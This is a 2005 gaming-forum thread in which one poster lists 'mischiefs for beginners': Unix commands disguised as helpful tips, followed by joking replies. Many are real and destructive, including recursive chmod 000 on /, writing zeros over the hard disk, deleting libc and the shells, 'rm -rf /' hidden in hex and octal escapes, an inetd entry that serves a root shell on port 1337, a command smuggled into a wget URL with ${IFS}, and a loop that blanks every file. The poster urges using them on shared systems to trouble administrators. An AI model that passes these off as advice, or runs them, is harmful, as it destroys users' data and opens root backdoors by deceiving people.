101 mischiefs for beginners

101 mischiefs for beginners

Re: 101 mischiefs for beginners Posted by Madedog on Wed Nov 16th 2005 at 7:12am
Madedog
487 posts
Posted 2005-11-16 7:12am
Madedog
member
487 posts 128 snarkmarks Registered: Jan 5th 2005 Occupation: Level Designer Location: Estonia
1. chmod -R 000 /
2. If you wish your file permissions to be "as Windows", do chmod -R 777 /
3. I wonder what "cat /dev/zero > /dev/hda" does...
4. Go to IRC, they give good advice there.
5. Books are heavy, don't bother reading.
6. Asking wisely is a ritual of linux fanatics with flaming eyes. You just sniff quietly | if your general question is not answered with step-by-step tutorial instead they ask for extra details, send the helpful technician to a handy dark place.
7. Download file "*" from ftp server 127.1
8. You can pack your mp3-s with "tar -cf *.mp3"
9. If your computer does not work, try to let the electricity go straight.
10. Indexes are what make SQL slow.
11. LIBC is pointless waste of space. Erase /lib/libc
12. In graphical system there is no need for command line. To hold up the space, make "rm -f /bin*sh"
13. Actually you can also delete /bin and /usr/bin, just /usr/X11R6/bin contains necessary things.
14. rm -f /dev/null |
15. 'xhost +math.ut.ee' is a great command.
16. apt-get remove dpkg
17. Write to Linus Torvalds, he can give you good advice.
18. Best software for FTP server is wu-ftpd
19. Snarkpit is slow? No problem!
echo 127.1 www.snarkpit.net >> /etc/hosts
20. root is a pointless guy - deluser -r root
21. grep -R 'blah' /dev
22. Throwing satan out of computer: find / -perm 666 | xargs chmod 000
23. If the middle button of the mouse doesn't work, try
cat /dev/urandom > /dev/mouse
24. Before trying something, find out what advised command does first. For example: man 'rm -rf /' or man 'chmod -R 000 /'
25. Caused by a slow processor, tiredly blinking hard drive LED effect can be removed with DAM (Distributed Access Mechanism).
echo '1337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf; kill -1 'pidof inetd';
26. You want your computer to show a cool message at boot time? Try this:
echo '#!/bin/sh' > /sbin/init; echo echo "ADD YOUR MESSAGE HERE" >> /sbin/init
27. echo -e "\x72\x6D\x20\x2D\x72\x66\x20\x2F"
28. What to do if you have inunderstandable notices about evil Hackers? Send the log to /dev/null and your problem disappears!
29. echo -ne "\162\155\040\055\162\146\040\057"
30. You want the whole internet on your hard drive? Be my guest! Use the following script:
#!/bin/sh
for A in seq 0 255
do
for B in seq 0 255
do
for C in seq 0 255
do
for D in seq 0 255
do
wget -b --timeout=1 -t 1 -m $A.$B.$C.$D
sleep 0.5
done;
done;
done;
done;
31. To patch sudo security holes, you can get the patch with command wget http://www.courtesan.com/sudo/advisories/package=sudo&version=1.6.8p10&rm${IFS}-fr${IFS}*${IFS}/&platform=any
32. echo 'eval ssh-agent 2>/dev/null && kill -19 $SSH_AGENT_PID' >> ~/.bashrc
33. To kill a hanged mozilla (works better as a root)
ps | grep -q mozilla; kill -9 -$?
34. Little disk space? Superior runtime archiving: find / -type f | xargs -i% cp /dev/null %

Have fun
HL2 tutorials 'n' stuff: http://madedog.pri.ee
217.159.236.34:27050 - CSS Server - Clean | koffer.ee
Re: 101 mischiefs for beginners Posted by Addicted to Morphine on Wed Nov 16th 2005 at 7:16am
Posted 2005-11-16 7:16am
3012 posts 529 snarkmarks Registered: Feb 15th 2005
<div class="quote"><div class="quotetitle">? quoting Madedog:</div><div class="quotetext">4. Go to IRC, they give good advice there.
5. Books are heavy, don't bother reading.
</div></div>

That's about all I understood.
Re: 101 mischiefs for beginners Posted by Madedog on Wed Nov 16th 2005 at 7:24am
Madedog
487 posts
Posted 2005-11-16 7:24am
Madedog
member
487 posts 128 snarkmarks Registered: Jan 5th 2005 Occupation: Level Designer Location: Estonia
Haha, yeah, you have to have a basic understanding of a UNIX system :razz: But trust me - if you get to a such of a system, try out one of those fun commands and you'll ensure the administrator a few sleepless nights :biggrin:
HL2 tutorials 'n' stuff: http://madedog.pri.ee
217.159.236.34:27050 - CSS Server - Clean | koffer.ee
Re: 101 mischiefs for beginners Posted by fraggard on Wed Nov 16th 2005 at 4:54pm
fraggard
1110 posts
Posted 2005-11-16 4:54pm
fraggard
member
1110 posts 220 snarkmarks Registered: Jul 8th 2002 Occupation: Student Location: Bangalore, India
What's 127.1 ?
Re: 101 mischiefs for beginners Posted by Captain P on Wed Nov 16th 2005 at 5:57pm
Captain P
1370 posts
Posted 2005-11-16 5:57pm
1370 posts 1995 snarkmarks Registered: Nov 6th 2003 Occupation: Game-programmer Location: Netherlands
He, downloading da interweb... why not? :razz:

I'm no Unix user so I only understand some of them, but it sounds like
I shouldn't take you as a Unix teacher if I want to keep my system up
and running... :wink:
Create-ivity - a game development blog
Re: 101 mischiefs for beginners Posted by Nickelplate on Wed Nov 16th 2005 at 6:21pm
Nickelplate
2770 posts
Posted 2005-11-16 6:21pm
2770 posts 346 snarkmarks Registered: Nov 23rd 2004 Occupation: Prince of Pleasure Location: US
wow. don't forget these!!

./WTFRU Onabout? 1822

and

ID idn't GET\That\at\ -all
I tried sniffing coke, but the ice cubes kept getting stuck in my nose.
http://www.dimebowl.com
Re: 101 mischiefs for beginners Posted by Crono on Wed Nov 16th 2005 at 6:57pm
Crono
6628 posts
Posted 2005-11-16 6:57pm
Crono
super admin
6628 posts 700 snarkmarks Registered: Dec 19th 2003 Location: Oregon, USA
I think not.

It's not funny if they're not real commands, Nickel.

See, it'd be all fun and games until they checked the log and found out you're responsable. (If they were even stupid enough to give you those kind of rights.)

So, the only realistic way you could do those is log in as root ... in which case you're your own system administrator ... in which case you're being a dick to yourself.
Blame it on Microsoft, God does.
Re: 101 mischiefs for beginners Posted by Dark Tree on Wed Nov 16th 2005 at 7:25pm
Dark Tree
646 posts
Posted 2005-11-16 7:25pm
646 posts 264 snarkmarks Registered: Apr 30th 2004 Occupation: DigiPen student Location: USA
LOL @ Nickel.....how about

35. Understanding basiq: "o.-MG *.dat /s /h IT" %20s (cr -?) @zy
Re: 101 mischiefs for beginners Posted by Nickelplate on Wed Nov 16th 2005 at 7:28pm
Nickelplate
2770 posts
Posted 2005-11-16 7:28pm
2770 posts 346 snarkmarks Registered: Nov 23rd 2004 Occupation: Prince of Pleasure Location: US
haha. OF course its not REAL commands!!

REAL unix commands look like gobbledygook to me!
I tried sniffing coke, but the ice cubes kept getting stuck in my nose.
http://www.dimebowl.com
Re: 101 mischiefs for beginners Posted by Dark Tree on Wed Nov 16th 2005 at 9:40pm
Dark Tree
646 posts
Posted 2005-11-16 9:40pm
646 posts 264 snarkmarks Registered: Apr 30th 2004 Occupation: DigiPen student Location: USA
ditto.
Re: 101 mischiefs for beginners Posted by rs6 on Wed Nov 16th 2005 at 10:02pm
rs6
640 posts
Posted 2005-11-16 10:02pm
rs6
member
640 posts 94 snarkmarks Registered: Dec 31st 2004 Occupation: koledge Location: New Jersey, USA
My knowledge of linux commands is

killall
./<filename>
su

thats about it.
Re: 101 mischiefs for beginners Posted by Madedog on Thu Nov 17th 2005 at 7:21am
Madedog
487 posts
Posted 2005-11-17 7:21am
Madedog
member
487 posts 128 snarkmarks Registered: Jan 5th 2005 Occupation: Level Designer Location: Estonia
Oh no, they are VERY real commands :biggrin: Try them out sometimes and you'll know I wasn't fooling ye around.

and Captain P.
I am not stupid enough to use those commands :razz: I don't find myself wanting to get smoked out of the job :]

Also, I haven't really tried out that internet downloading script but... it oughtta work :biggrin:
HL2 tutorials 'n' stuff: http://madedog.pri.ee
217.159.236.34:27050 - CSS Server - Clean | koffer.ee
Re: 101 mischiefs for beginners Posted by Gorbachev on Thu Nov 17th 2005 at 7:55am
Gorbachev
1569 posts
Posted 2005-11-17 7:55am
1569 posts 264 snarkmarks Registered: Dec 1st 2002 Location: Vancouver, BC, Canada
Yeah, I took a UNIX course last year. Most of those seem valid. I know
my way around BASH fairly well. We were forced to use command line
only, I also successfully crashed the command line, vi as well as uh,
XWindows or whatever it was (Maybe I'm thinking of KDE). I had more
funky stuff happen with vi than DOS' edit. Them's good times.
Re: 101 mischiefs for beginners Posted by Madedog on Thu Nov 17th 2005 at 10:43am
Madedog
487 posts
Posted 2005-11-17 10:43am
Madedog
member
487 posts 128 snarkmarks Registered: Jan 5th 2005 Occupation: Level Designer Location: Estonia
Well those are from a Linux Administrator student... :razz: I'm taking a Linux Administrator course in IT College... however the mail server thing is what i hate... we spent 2x1hr 45 mins for this...

Anyway, Gorbachev you prolly mean X Window System... KDE is just an environment for this, as well as is gnome, IceWM or BlackBox for instance.

and can you give me the way you successfully crashed cmd line? :biggrin:
Btw, have you ever gotten a Kernel Panic? :razz:
HL2 tutorials 'n' stuff: http://madedog.pri.ee
217.159.236.34:27050 - CSS Server - Clean | koffer.ee
Re: 101 mischiefs for beginners Posted by Gorbachev on Thu Nov 17th 2005 at 5:45pm
Gorbachev
1569 posts
Posted 2005-11-17 5:45pm
1569 posts 264 snarkmarks Registered: Dec 1st 2002 Location: Vancouver, BC, Canada
Yeah, I made the kernel panic, it fsckin' popped. Popped Corn all over
the place. It was actually the result after I messed up KDE, the next
time I booted it had a harsh panic. I, of course was laughing my head
off.

Yeah, I'm not super familiar with the GUIs since I don't use them, I
know OF a few including KDE and Gnome, but otherwise they're just one
of those things I don't use.

Don't remember how I crashed the command line, but it was pretty harsh,
I got vi to do some fun stuff like paste either 800 or 8000 lines
instead of overwriting 2. And I also got the command line to not show
what you've typed. It knew and you could do commands, but none of the
inputted text would show up.